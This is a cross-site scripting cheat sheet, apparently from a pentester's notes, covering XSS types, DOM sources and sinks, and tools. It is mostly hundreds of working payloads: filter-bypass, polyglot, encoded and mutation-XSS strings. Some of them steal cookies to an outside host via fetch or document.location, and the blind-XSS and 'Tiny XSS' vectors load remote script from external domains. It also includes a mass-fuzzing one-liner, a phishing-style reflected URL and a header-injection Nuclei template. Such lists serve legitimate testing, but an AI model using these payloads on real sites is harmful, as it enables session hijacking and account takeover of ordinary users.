XSS

Cross Site Scripting: methodology, payloads, tools

Types of attack

  • Cookie Stealing

  • Keylogging

  • Webcam snapshot

  • Phishing

  • Port Scanning

  • Other browser based exploits - There are millions of possibilities with XSS.

Types of XSS

Type
Description

Stored (Persistent) XSS

The most critical type of XSS, which occurs when user input is stored on the back-end database and then displayed upon retrieval (e.g., posts or comments)

Reflected (Non-Persistent) XSS

Occurs when user input is displayed on the page after being processed by the backend server, but without being stored (e.g., search result or error message)

DOM-based XSS

Another Non-Persistent XSS type that occurs when user input is directly shown in the browser and is completely processed on the client-side, without reaching the back-end server (e.g., through client-side HTTP parameters or anchor tags)

Cheatsheet

Extension to incorporate XSS Cheatsheet in Burp

One Liner

waybackurls test.com | tee test.com-urls.txt | grep "=" | egrep -iv ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt|js)" | qsreplace '"><svg/onload=confirm(1)>' | tee combinedfuzz.json && cat combinedfuzz.json | while read host; do curl --silent --path-as-is --insecure "$host" | grep -qs "<svg/onload=confirm(1)>" && echo -e "$host \e[31m Vulnerable\n" || echo -e "$host \e[32m Not Vulnerable\n";done 
$ waymore -i urls | tee urls-his
$ cat urls-his | gf xss | urless|anew xss
$ knoxnl -i xss -X BOTH 

Fuzzing

Fuzzing

Bypass weak validations

echo "<svg/onload=alert(1)>" | recollapse | ffuf -w - -u "https://example.com/?param=FUZZ" -mc 200,403,500

Reflected Parameters

Chrome extension

Basic Payloads

Base 64 encoded:

# http://login.target.com/return_url=sbsbHsjdbdsbsb=
# Payload: "><img src=x onerror=prompt(1337)>

Ij48aW1nIHNyYz14IG9uZXJyb3I9cHJvbXB0KDEzMzcpPg==

Cuneiform-alphabet based

𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++],
𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀]
+(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀]
+𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()

Polyglot payload - All in one

1'"<S><A HRef=tel:/*%26apos;;/*%26quot;;/*%26lt;s%26gt;%26lt;Img/Src/*/O%26%2378;Error=alert(1)//%26gt; Title=tel:/*%26apos;;/*%26quot;;/*%26lt;s%26gt;%26lt;Img/Src/*/O%26%2378;Error=alert(1)//%26gt; Alt=tel:/*%26apos;;/*%26quot;;/*%26lt;s%26gt;%26lt;Img/Src/*/O%26%2378;Error=alert(1)//%26gt; Name=tel:/*%26apos;;/*%26quot;;/*%26lt;s%26gt;%26lt;Img/Src/*/O%26%2378;Error=alert(1)//%26gt; Class=tel:/*%26apos;;/*%26quot;;/*%26lt;s%26gt;%26lt;Img/Src/*/O%26%2378;Error=alert(1)//%26gt; >
1'"<S><Img Src=tel:/*%26apos;;/*%26quot;;/*%26lt;s%26gt;%26lt;A/HRef/AutoFocus/*/O%26%2378;Focus=alert(1)//%26gt; Title=tel:/*%26apos;;/*%26quot;;/*%26lt;s%26gt;%26lt;A/HRef/AutoFocus/*/O%26%2378;Focus=alert(1)//%26gt; Alt=tel:/*%26apos;;/*%26quot;;/*%26lt;s%26gt;%26lt;A/HRef/AutoFocus/*/O%26%2378;Focus=alert(1)//%26gt; Name=tel:/*%26apos;;/*%26quot;;/*%26lt;s%26gt;%26lt;A/HRef/AutoFocus/*/O%26%2378;Focus=alert(1)//%26gt; Class=tel:/*%26apos;;/*%26quot;;/*%26lt;s%26gt;%26lt;A/HRef/AutoFocus/*/O%26%2378;Focus=alert(1)//%26gt; >
1'"<S><Input Value=tel:/*%26apos;;/*%26quot;;/*%26lt;s%26gt;%26lt;A/HRef/AutoFocus/*/O%26%2378;Focus=alert(1)//%26gt; Name=tel:/*%26apos;;/*%26quot;;/*%26lt;s%26gt;%26lt;A/HRef/AutoFocus/*/O%26%2378;Focus=alert(1)//%26gt; Class=tel:/*%26apos;;/*%26quot;;/*%26lt;s%26gt;%26lt;A/HRef/AutoFocus/*/O%26%2378;Focus=alert(1)//%26gt; PlaceHolder=tel:/*%26apos;;/*%26quot;;/*%26lt;s%26gt;%26lt;A/HRef/AutoFocus/*/O%26%2378;Focus=alert(1)//%26gt; >
'"*/onmouseover=(print)?.()><sVg/oNload='1>(_=prompt,_`{{7*7}}`)'></sTyle/</scRIpt/</textArea/</noScript/</tiTle/--><h1/<h1><image/onerror='alert`1`%27'src>xhzeem%22%3E%3CSvg/\u0022\u003e\u003csVg/\x22\x3e\x3csVg/&quot;&gt;&lt;svG/onload=alert`2`//

Source: https://brutelogic.com.br/blog/bypassing-whitelists-with-xss-payloads-in-attributes/

JavaScript://%250A/*?'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(import(/https:\\http://X55.is/.source))}//\76-->

Source: https://x.com/KN0X55/status/1889708590744703269

Grep - Match 1337: https://portswigger.net/burp/documentation/desktop/tools/intruder/uses/fuzzing

 JavaScript​://%250Aalert?.(1337)// '/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--> </Title/<​/Style/<​/Script/</textArea/</iFrame/</noScript> \74k<K/contentEditable/autoFocus/OnFocus​= /*${/*/;{/**/(alert)(1337)}//><Base/Href=//hello\76-->
</Scri%7Kt><Scri%7Kt>%7Krompt%6K1337%6K</Scri%7Kt>
"%26%2339>alert(1337)>%26%2339<Svg>
<script>alert(1337);</script>
<sc<script>ript>alert(1337);</script>
<sCriPt>alert(1337);</sCriPt>
<button onmouseover="alert(1337);">xss</button>
<button onclick="alert(1337);">xss</button>
<img src="/static/level3/cloud3.jpg" onclick="alert(1337)">
<img src="x" onerror="alert(1337)">
<img src="x" onerror="alert(1337);"
<img src="#" onerror="&#97;&#108;&#101;&#114;&#116;(1337)">
<img src="#" onerror="al&#x65;rt(1337)">
<img src="#" onerror="eval('alert(1337)')">
<img src onerror %09=top['ale'%2b'rt'](1337)>
<script alert (1337)</script>
<script&#9>alert(1337)</script>
<script&#10>alert (1337)</script>
<script&#13>alert (1)</script>
<%00script>alert(1337)</script>
<script>al%00ert(1)</script>
<input type="text" name ="input" value="1337">
<input type="text" name ="input" value ="><script>alert (1337)</script>
<randomtag type="text" name ="input" value ="><script>alert(1337)</script>
<input/type="text" name="input" value="><script>alert(1337)</script>
<input&#9type="text " name ="input" value =">< alert(1337)</script>
<input&#10type="text" name ="input" value =">< alert(1337)</script>
<input&#13type="text" name ="input" value =">< alert(1337)</script>
<input/'type="text" name ="input" value =">< alert(1337)</script>
<iNpUt type="text" name ="input" value =">< alert(1337)</script>
<%00input type="text" name="input" value="><script>alert(1337)</script>
<inp%00ut type="text" name ="input" value =">< alert(1337)</script>
<input t%00ype="text" name="input" value="><script>alert(1337)</script>
<input type="text" name ="input" value ="><script>a%00lert(1337)</script>
<input onsubmit alert(1337)>
<img onerror=&#34alert(1337)&#34src=x>
<img onerror=&#39alert(1337)&#39src=x>
<img onerror=`alert(1337)` src=x>
<img onerror=&#96alert(1337)&#96src=x>
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1337)>
<<script>alert(1337)//<</script>
«input onsubmit=alert(1337)»
&#174input onsubmit=alert(1337)&#175
<script>eval('a\u006cert(1337)')</script>
<script>eval('al' + 'ert(1337)')</script>
<iframe src="javascript:alert(`1337`)">
testfmy90"onfocus%3d"alert(1337)"autofocus%3d"ed3vz
<script>alert(1337)</script>
<Script>alert(1337)</Script>
<sCript>alert(1337)</sCript>
<script>alert(1337);</script>
<script>alert("1337");</script>
<script>alert(1337)</script>
<script>window.pageType = 'test'-alert(1337)-'';</script>
</script><script>alert(1337)</script>
\&#34;+confirm(1337)+&#34; 
//%01javascript:alert(1337)
%09Jav%09ascript:alert(1337)
/%09/javascript:alert(1337)
/%09/javascript:alert(1337);
//%0Aalert(1337)
////%0Aalert(1337)
//%0D%0Aalert(1337)
/%5cjavascript:alert(1337)
/%5cjavascript:alert(1337);
//%5cjavascript:alert(1337)
//%5cjavascript:alert(1337);
";alert(1337);//
";alert(1337);//bash
java%0d%0ascript%0d%0a:alert(1337)
javascript://%0aalert(1337)
javascript://%00alert(1337)
javascript://%0aalert(1337)
javascript://%0Aalert(1337)
javascript://%250A1?alert(1337):0
javascript://%250Aalert(1337)
javascript://%250Aalert(1337)//?1
javascript:alert(1337)
//javascript:alert(1337)
//javascript:alert(1337);
/javascript:alert(1337)
/javascript:alert(1337);
<>javascript:alert(1337);
\j\av\a\s\cr\i\pt\:\a\l\ert\(1337\)
javascript:alert(1337)
javascript:alert(1337);
javascript:alert(1337)%0d%0a
javascript:confirm(1337)
javascript:prompt(1337)
javascript:void(0);alert(1337)
/x:1/:///%01javascript:alert(1337)/
1')"<S --><A HRef AutoFocus OnFocus=(confirm)(1337)//
JavaScript://%250Dtop.confirm?.(1337)//
1'-top['con\146irm'](1337)-'
/confirm?.(1337)//\
test"/><output name="result" onclick="alert(1337)">chux</output>
<!--%26gt;<TextArea><!--><Script>/*/</TextArea>/*/alert(1337)</Script>
--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(1337)%3C/scRipt%3E
test"<s><a href=//%26lt;svg/o%26%2378;load=alert(1337)%26gt;>
%22%20onmouseover=alert(1337)%20x=%22
<input accesskey=X onclick="self['wind'+'ow']['one'+'rror']=alert;throw 1337;">
<Svg OnLoad=location=textContent>JavaS<a>cript:al<a>ert(<a>1337)//
<Svg OnLoad=location=`Java${/S/.source}cript:alert${"\50"}1337)`>
<img src="X" onerror=top[8680439..toString(30)](1337)>
<script>top[8680439..toString(30)](1337)</script>
1'//"</Script><Img/Src%0AOnError=alert(1337)//
jaVasCript:/*-/*%60/*%5C%60/*'/*%22/**/(/*%20*/oNcliCk=alert(1337)%20)//%250D%250A%250D%250A//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%5Cx3csVg/%3CsVg/oNloAd=alert(1337)//%3E%5Cx3e
<script\x20type="text/javascript">javascript:alert(1337);</script>
<script\x3Etype="text/javascript">javascript:alert(1337);</script>
<script\x0Dtype="text/javascript">javascript:alert(1337);</script>
<script\x09type="text/javascript">javascript:alert(1337);</script>
<script\x0Ctype="text/javascript">javascript:alert(1337);</script>
<script\x2Ftype="text/javascript">javascript:alert(1337);</script>
<script\x0Atype="text/javascript">javascript:alert(1337);</script>
'`"><\x3Cscript>javascript:alert(1337)</script>        
'`"><\x00script>javascript:alert(1337)</script>
<img src=1 href=1 onerror="javascript:alert(1337)"></img>
<audio src=1 href=1 onerror="javascript:alert(1337)"></audio>
<video src=1 href=1 onerror="javascript:alert(1337)"></video>
<body src=1 href=1 onerror="javascript:alert(1337)"></body>
<image src=1 href=1 onerror="javascript:alert(1337)"></image>
<object src=1 href=1 onerror="javascript:alert(1337)"></object>
<script src=1 href=1 onerror="javascript:alert(1337)"></script>
<svg onResize svg onResize="javascript:javascript:alert(1337)"></svg onResize>
<title onPropertyChange title onPropertyChange="javascript:javascript:alert(1337)"></title onPropertyChange>
<iframe onLoad iframe onLoad="javascript:javascript:alert(1337)"></iframe onLoad>
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a(1337)%20x>
<audio controls onwaiting=alert(1337)><source src=x type=x></audio>
'<00 foo="<a%20href="javascript:alert(1337)">XSS-CLick</00>--%20/
<K/contentEditable/autoFocus/OnFocus=(alert)(1337)>
</Title/</Style/</Script/</textArea/</iFrame/</noScript><K/contentEditable/autoFocus/OnFocus=(alert)(1337)>
/*’/*\’/*”/*\”/*`/*\`/*</Title/</Style/</Script/</textArea/</iFrame/</noScript><K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1337)}//>
<!–>/*’/*\’/*”/*\”/*`/*\`/*</Title/</Style/</Script/</textArea/</iFrame/</noScript><K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1337)}//–>
<!–>/*’/*\’/*”/*\”/*`/*\`/*</Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1337)}//><Base/Href=//X55.is\76–>
<!–>/*’/*\’/*”/*\”/*`/*\`/*%26apos;)/*</Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/**/;{(alert)(1337)}//><Base/Href=//X55.is\76–>
<!–>/*’/*\’/*”/*\”/*`/*\`/*%26apos;)/*</Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1337)}//><Base/Href=//X55.is\76–>
<!–>/*’/*\’/*”/*\”/*`/*\`/*%26apos;)/*%0D%0AContent-Type:text/html%0D%0A%0D%0A</Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1337)}//><Base/Href=//X55.is\76–>
JavaScript://%250Aalert?.(1)//*’/*\’/*”/*\”/*`/*\`/*%26apos;)/*<!–></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1337)}//><Base/Href=//X55.is\76–>
JavaScript://%250Aalert?.(1)//*’/*\’/*”/*\”/*`/*\`/*%26apos;)/*<!–></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1337)}//><Base/Href=//X55.is\76–>\
<section onscrollsnapchange=alert(1) style=overflow-y:hidden;scroll-snap-type:x><div style=scroll-snap-align:center>1337</div></section>
</<K><Svg Onload=alert(1337)>
</<Kno XSS="><Svg Onload=alert(1337)>
<!<K><Svg Onload=alert(1337)>
<!<Kno XSS="><Svg Onload=alert(1337)>
<a href="javascript:alert(1337)">show</a>
<a href="data:text/html;base64,<alert(1337) encoded>"show</a>
<form action="javascript:alert(1337)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1337)">send</button>
<object data="javascript:alert(1337)">
<object data="data:text/html;base64, <alert(1337) encoded>">
<body onload=alert(1337)>
<input type=image src=x:x onerror=alert(1337)>
<isindex onmouseover="alert(1337)" >
<form oninput=alert(1337)><input></form>
<texarea autofocus onfocus=alert(1337)>
<input oncut=alert(1337)>
<svg onload=alert(1337)>
<keygen autofocus onfocus=alert(1337)">
<video><source onerror="alert(1337)">
<marquee onstart=alert(1337)>
<svg/onload=alert(1337)>
<svg//////onload=alert(1337)>
<svg id=x; onload=alert(1337)>
<svg onload%09=alert(1337)>
<svg %09onload=alert(1337)>
<svg %09onload%20=alert(1337)>
<svg onload%09%20%28%2C%3B=alert(1337)>
<svg onload%0B=alert(1337)>
<svg id='x' onload=alert(1337)>
<script>\u0061lert(1337)</script>
<script>\u0061\u006\u0065\u0072\u0074(1337)</script>
<script>eval("\u0061lert(1337)")</script>
<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0033\u0033\u0037\u0029")</script>
<img src=x onerror="\u0061lert(1337)"/>
<img src=x onerror="eval('\141lert(1337)')"/>
<img src=x onerror="eval('\x61lert(1337)')"/>
<img src=x onerror="eval('&#x0061;lert(1337)')"/>
<img src=x onerror="eval('&#97;lert(1337)')"/>
<img src=x onerror="eval('\a\l\ert(1\)')"/>
<img src=x onerror="eval('\a\l\ert(1\3\3\7\)')"/>
<object data="JaVScRiPt:alert(1337)">
<object data="javascript&colon;:alert(1337)">
<object data="javascript&#x003A;alert(1337)">
<object data="javascript&#58;alert(1337)">
<object data="&#x6A;avascript:alert(1337)">
<object data="data:text/html,<script>alert(1337)</script>">
<embed code="DaTa:text/html,<script>alert(1337)</script>">
<embed code="data&colon;text/html,<script>alert(1337)</script>">
<embed code="data&#x003A;text/html,<script>alert(1337)</script>">
<embed code="&#x64;&#x61;ta:text/html,<script>alert(1337)</script>">
<scr<iframe>ipt>alert(1337)</script>
<scr<script>ipt>alert(1337)</script>
<svg/onload=alert(1337)
"><svg/onload=alert(1337)>
";alert(1337);//
<iframe><style id="</iframe><img src=1 onerror=alert(1337)>">
<noframes><style id="</noframes><img src=1 onerror=alert(1337)>">
<noscript><p id="</noscript><img src=1 onerror=alert(1337)>">
<style><p id="</style><img src=1 onerror=alert(1337)>">
<style><p id="</style><img src="1" onerror="alert(1337)">">"&gt;
<svg><style><img src="1" onerror="alert(1337)">
<math><style><img src="1" onerror="alert(1337)">
<math><style></style></math><img src="1" onerror="alert(1337)">
<select><style><input><img src=1 onerror=alert(1337)></select>
<select></select><input><img src="1" onerror="alert(1337)">
<body><title><p id="</title><img src onerror=alert(1337)>"></title>
<body><noscript><p id="</noscript><img src onerror=alert(1337)>">
<maths><style><!--</style><img src onerror=alert(1337)>--></style></maths>
<svg><style>/*<img src onerror=alert(1337)>*/</style></svg>
<math><style>/*<img src onerror=alert(1337)>*/
<noscript><style>/*</noscript><img src onerror=alert(1337)>*/
<math><annotation-xml><style><img src onerror=alert(1337)></style></annotation-xml></math>
<body><textarea><a is="</textarea><img src onerror=alert(1337)>">
<math><annotation-xml encoding="text/html"><x><svg><mtext><textarea><a is="</textarea><img src onerror=alert(1337)>">
<form><math><mtext></form><form><mglyph><svg><mtext><title><path is="</title><img src onerror=alert(1337)>">
<Img Src=OnXSS OnError=alert(1337)> 
confirm?.(1337)
<svg/onload=window[`al`+/e/[`ex`+`ec`]`e`+`rt`](1337)>
<svg/onload=window["al"+"ert"]`1337`>
<svg/onload=document['default'+'View'][`\u0061lert`](1337)>
<svg/onload=parent[/al/.source+/ert/.source](1337)>
<svg/onload=parent[/al/.source.concat(/ert/.source)](1337)>
<svg/onload=(function(x){this[x+`ert`](1337)})`al`>
"&quot;"ontoggle=alert(1337)
"' &quot;'"ontoggle=alert1337
1%27/prompt?.(1337)/%27
*prompt(1337)*
"><img src=x onerrora=confirm() onerror=confirm(1337)>
<img//////src=x oNlY=1 oNerror=alert(1337)//
<img%20hrEF="x"%20sRC="data:x,"%20oNLy=1%20oNErrOR=prompt1337>
<img%20hrEF="x"%20sRC="data:x,"%20oNLy=1%20oNErrOR=prompt`1337`//>
%3CSVG/oNlY=1%20ONlOAD=confirm(1337)%3E
&#34;&gt;&lt;track/onerror=&#x27;confirm\%601337\%60&#x27;&gt;
<Img Src=OnXSS OnError={prompt`1337`}>
"><img src=x onerrora=confirm() onerror=confirm(1337)>
<dETAILS%0aopen%0aonToGgle%0a%3d%0aa%3dprompt,a(origin)%20x>
"><div/onclick="(function(){setTimeout(()%20=>%20alert(1337),%200);})();">Click%20me!</div>
<Img Src=OnXSS OnError=confirm(1337)>
"><input%0a%0atype="hidden"%0a%0aoncontentvisibilityautostatechange=confirm(/1337/)%0d%0astyle=content-visibility:auto>
"><input type="hidden" oncontentvisibilityautostatechange="confirm(/1337/)" style="content-visibility:auto">
x' oncontentvisibilityautostatechange=alert(1337) style='display:block;content-visibility:auto
<p oncontentvisibilityautostatechange="alert(/1337/)" style="content-visibility:auto">
test" oncontentvisibilityautostatechange="confirm(/1337/)" style="content-visibility:auto
test" oncontentvisibilityautostatechange="alert(/1337/)" style="content-visibility:auto
<Img/Src/OnError=(alert)(1337)>
1%27;--<img%20src=x%20onerror=javascript:alert(1337)>
"></a></td></tr></table><​script>prompt('1337');<​/script></html>//
1")'--><Svg%0COnLoad=(confirm)(1337)<!--
%3Cimg%20src%3Dx%20onerror%3D%22%5Cu0061lert(1337)%22%3E
<math><foo-test><mi><li><table><foo-test><li></li></foo-test><a><style><! \${ </style> }<foo-b id="><img src onerror='alert(1337)'>">hmm...</foo-b></a></table></li></mi></foo-test></math>
'">*/--></title></style></textarea></script%0A><img src=x onerror=confirm(1337)>
%27";}</script><script>prompt(document.domain);</script>
<svg xmlns="http://w3.org/2000/svg" onload​="this.setAttribute('onmouseover','confirm(1337)')"></svg>
1'"--><A HRef AutoFocus OnFocus=alert(1337)//
1</Script><Script>1/*'/*\'/**//alert(1337)//

Payload List

</Scri%7Kt><Scri%7Kt>%7Krompt%6K1%6K</Scri%7Kt>
JavaScript://%250A/*?'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--</Title/</Style/</Script/</textArea/</iFrame>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(import(/https:\\http://X55.is/.source))}//\76-->
"%26%2339>alert(1)>%26%2339<Svg>
<script>alert('xss');</script>
<sc<script>ript>alert('xss');</script>
<sCriPt>alert('xss');</sCriPt>
<button onmouseover="alert('xss');">xss</button>
<button onclick="alert('xss');">xss</button>
<img src="/static/level3/cloud3.jpg" onclick="alert('xss')">
<img src="x" onerror="alert('xss')">
<img src="x" onerror="alert(document.cookie);"
<iframe src="javascript:alert(`xss`)">
testfmy90"onfocus%3d"alert(1)"autofocus%3d"ed3vz
<script>alert(1)</script>
<Script>alert(1)</Script>
<sCript>alert(document.domain)</sCript>
<script>alert(123);</script>
<script>alert("test");</script>
<script>alert(document.cookie)</script>
</script><script>alert(document.cookie)</script>
\&#34;+confirm(1)+&#34; 
//%01javascript:alert(1)
%09Jav%09ascript:alert(1)
%09Jav%09ascript:alert(document.domain)
/%09/javascript:alert(1)
/%09/javascript:alert(1);
//%0Aalert(1)
////%0Aalert(1)
//%0D%0Aalert(1)
/%5cjavascript:alert(1)
/%5cjavascript:alert(1);
//%5cjavascript:alert(1)
//%5cjavascript:alert(1);
";alert(0);//
";alert(0);//bash
data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+
data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+Cg==
java%0d%0ascript%0d%0a:alert(0)
javascript://%0aalert(document.cookie)
javascript://%00alert(1)
javascript://%0aalert(1)
javascript://%0Aalert(1)
javascript://%250A1?alert(1):0
javascript://%250Aalert(1)
javascript://%250Aalert(1)//?1
javascript://%250Alert(document.location=document.cookie)
javascript:alert(0)
//javascript:alert(1)
//javascript:alert(1);
/javascript:alert(1)
/javascript:alert(1);
<>javascript:alert(1);
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1)
javascript:alert(1);
javascript:alert(1)%0d%0a
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
javascript:void(0);alert(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
javascript://whitelisted.com/?z=%0Aalert(1)
/x:1/:///%01javascript:alert(document.cookie)/
1')"<S --><A HRef AutoFocus OnFocus=(confirm)(1)//
JavaScript://%250Dtop.confirm?.(1)//
1'-top['con\146irm'](1)-'
/confirm?.(1)//\
<img src=x onerror="fetch('[HOST]' + document.cookie)" />
<script>fetch('[host]')</script>
test"/><output name="result" onclick="alert('something')">chux</output>
<!--%26gt;<TextArea><!--><Script>/*/</TextArea>/*/alert(1)</Script>
--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(document.domain)%3C/scRipt%3E
test"<s><a href=//%26lt;svg/o%26%2378;load=alert(1)%26gt;>
%22%20onmouseover=alert(document.domain)%20x=%22
<<https:http://x55.is/onfocus=1?import(tagName):1 AutoFocus ContentEditable>>
<input accesskey=X onclick="self['wind'+'ow']['one'+'rror']=alert;throw 1337;">
<Svg OnLoad=location=textContent>JavaS<a>cript:al<a>ert(<a>1)//
<Svg OnLoad=location=`Java${/S/.source}cript:alert${"\50"}1)`>
<img src="X" onerror=top[8680439..toString(30)](1337)>
<script>top[8680439..toString(30)](1337)</script>
1'//"</Script><Img/Src%0AOnError=alert(1)//
jaVasCript:/*-/*%60/*%5C%60/*'/*%22/**/(/*%20*/oNcliCk=alert()%20)//%250D%250A%250D%250A//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e

Tiny XSS

<base/href=//NJ.₨>
<svg/onload=eval(name)>
<style/onload=eval(name)>
<svg/onload=eval(`'`+URL)>
<svg/onload=location=name>
<style/onerror=eval(name)>
<script/src=//NJ.₨></script>
<svg/onload=import(/\NJ.₨/)>
<iframe/onload=src=top.name>
<svg><svg/onload=eval(name)>
<style/onload=eval(`'`+URL)>
<iframe/onload=eval(`'`+URL)>
<style/onload=import(/\NJ.₨/)>
<audio/src/onerror=eval(name)>
<iframe/onload=import(/\NJ.₨/)>
<img/src/onerror=eval(`'`+URL)>
<iframe/onload=src=top[0].name+/\NJ.₨/>
<iframe/srcdoc="<svg><script/href=//NJ.₨ />">
<iframe/onload=src=contentWindow.name+/\NJ.₨/>
<iframe/srcdoc="<script/src=//NJ.₨></script>">

Stored XSS

<script>alert(window.origin)</script>
<script>print()</script>

Will pop up the browser print dialog, which is unlikely to be blocked by any browser

Cookies

<script>alert(document.cookie)</script>

Reflected XSS

<div></div><ul class="list-unstyled" id="todo"><div style="padding-left:25px">Task '<script>alert(window.origin)</script>' could not be added.</div></ul>

The single quotes contain our XSS payload '<script>alert(window.origin)</script>'.

GET request sends their parameters and data as part of the URL. So, to target a user, we can send them a URL containing our payload.

http://URL/index.php?task=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

DOM XSS

Sink:

  • document.write()

  • DOM.innerHTML

  • DOM.outerHTML

Document Sink

someDOMElement.innerHTML
someDOMElement.outerHTML
someDOMElement.insertAdjacentHTML
document.write()
document.writeln()

Location Sink

document.location
window.location.assign()
window.location.replace()

Execution Sink

eval()
setTimeout()
setInterval()
Function()

DOM Source

A source is a JavaScript property that accepts data that is potentially attackercontrolled

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
location.search
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage

jQuery:

  • add()

  • after()

  • append()

var pos = document.URL.indexOf("task=");
var task = document.URL.substring(pos + 5, document.URL.length);
document.getElementById("todo").innerHTML = "<b>Next Task:</b> " + decodeURIComponent(task);

innerHTML function does not allow the use of the <script> tags within it as a security feature

Payload:

<img src="" onerror=alert(window.origin)>
# Open Redirect
Ex: https://example.com/redirect?url=jav%20ascri%20pt:alert(1)
# Simple bypasses
javascript:alert(1)
JavaScript:alert(1)
JAVASCRIPT:alert(1)

# Bypass weak regex patterns (try repositioning the URL-encoded special characters)
ja%20vascri%20pt:alert(1)
jav%0Aascri%0Apt:alert(1)
jav%0Dascri%0Dpt:alert(1)
jav%09ascri%09pt:alert(1)

# More advanced weak regex pattern bypasses
%19javascript:alert(1)
javascript://%0Aalert(1)
javascript://%0Dalert(1)
javascript://https://example.com%0Aalert(1)
https://example.com/index.php/x' oncontentvisibilityautostatechange=alert(1) style='display:block;content-visibility:auto

Bypass Dom Purify - Mutated XSS

Dom-Explorer

Burp

Firefox Extension

Dom Logger ++ - See Burp extensions

Chrome extension

Blind XSS

Blind XSS Scanner

ezXSS

BeeXSS

XSSHunter

BXSS HUnter

KNOXSS

Create a demo account: https://knoxss.me/

Blind XSS Custom Vector - Default

<Script /Src=https://X55.is?1=[YOUR_ID]></Script>

Blind XSS Custom Vector - Short Polyglot (HTML & JS Main Cases)

'/*\'/*"/*\"/*</Script><Input/AutoFocus/OnFocus=/**/(import(/https:\\X55.is?1=[YOUR_ID]/.source))//>

Blind XSS Custom Vector - Full Polyglot (20+ XSS Cases)

JavaScript://%250A/*?'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(import(/https:\\X55.is?1=[YOUR_ID]/.source))}//\76-->

XSS Discovery

Burp, Nessus, ZAP

Nuclei Template

https://raw.githubusercontent.com/coffinxp/priv8-Nuclei/refs/heads/main/reflection.yaml

id: reflection
info:
    name: search for reflection in header and body
    author: roninja
    severity: low
    description: Potential Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF) attacks, Cache Poisoning and Open URL Redirection.
    reference:
      - https://{{Hostname}}.{{interactsh-url}}
    tags: reflection,header,cookies
    metadata:
      max-request: 2
requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Mobile Safari/537.36
        Referer: https://r.{{Host}}.{{interactsh-url}}
        Origin: https://o.{{Host}}.{{interactsh-url}}
        Location: https://l.{{Host}}.{{interactsh-url}}
        X-Forwarded-Host: xfh.{{Host}}.{{interactsh-url}}
        X-Forwarded-For: xff.{{Host}}.{{interactsh-url}}
        X-Host: xh.{{Host}}.{{interactsh-url}}
        X-Original-Host: xoh.{{Host}}.{{interactsh-url}}
        X-Original-URL: xou.{{Host}}.{{interactsh-url}}
        Cookie: gude=tama.{{interactsh-url}}
        Gudetama: {{interactsh-url}}
        Accept-Encoding: gzip, deflate, br, zstd

      - |
        GET / HTTP/1.1
        Host: {{Host}}.{{interactsh-url}}
        User-Agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Mobile Safari/537.36
        Cookie: gude=tama.{{interactsh-url}}
        Set-Cookie: gude=tama.{{interactsh-url}}
        Accept-Encoding: gzip, deflate, br, zstd

      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Mobile Safari/537.36
        Cookie: gude=tama.{{interactsh-url}}
